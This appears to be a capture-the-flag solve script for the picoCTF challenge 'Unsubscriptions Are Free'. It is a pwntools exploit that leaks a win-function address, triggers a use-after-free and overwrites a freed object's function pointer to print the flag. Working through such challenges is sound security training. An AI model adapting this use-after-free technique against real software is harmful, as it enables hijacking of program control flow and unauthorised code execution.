# Unsubscriptions Are Free

```python
#!/usr/bin/env python3

from pwn import *
import time

exe = ELF("./vuln")

context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("mercury.picoctf.net", 61817) 
    else:
        r = process("./vuln")
    return r

def main():
    r = conn()

    # leak the address of win function
    r.sendline(b's')
    time.sleep(0.1)
    r.recvuntil(b'...')
    leak = int(r.recv(9),16)

    # free the allocated memory "user"
    r.sendline(b'i')
    time.sleep(0.1)

    # confirm
    r.sendline(b'y')
    time.sleep(0.1)

    # leave a message (write on the memory just been freed)
    r.sendline(b'l')
    time.sleep(0.1)

    # write the win function
    r.sendline(p32(leak))

    # when program calls doProcess(user)
    # it will execute leak() --> hahaexploitgobrrr()

    # exit
    r.sendline(b'e')
    r.recvuntil(b'try anyways:')
    flag = r.recvuntil(b'}').strip(b'\n')
    print()
    log.success(flag.decode("ascii"))
    print()

if __name__ == "__main__":
    main()
```


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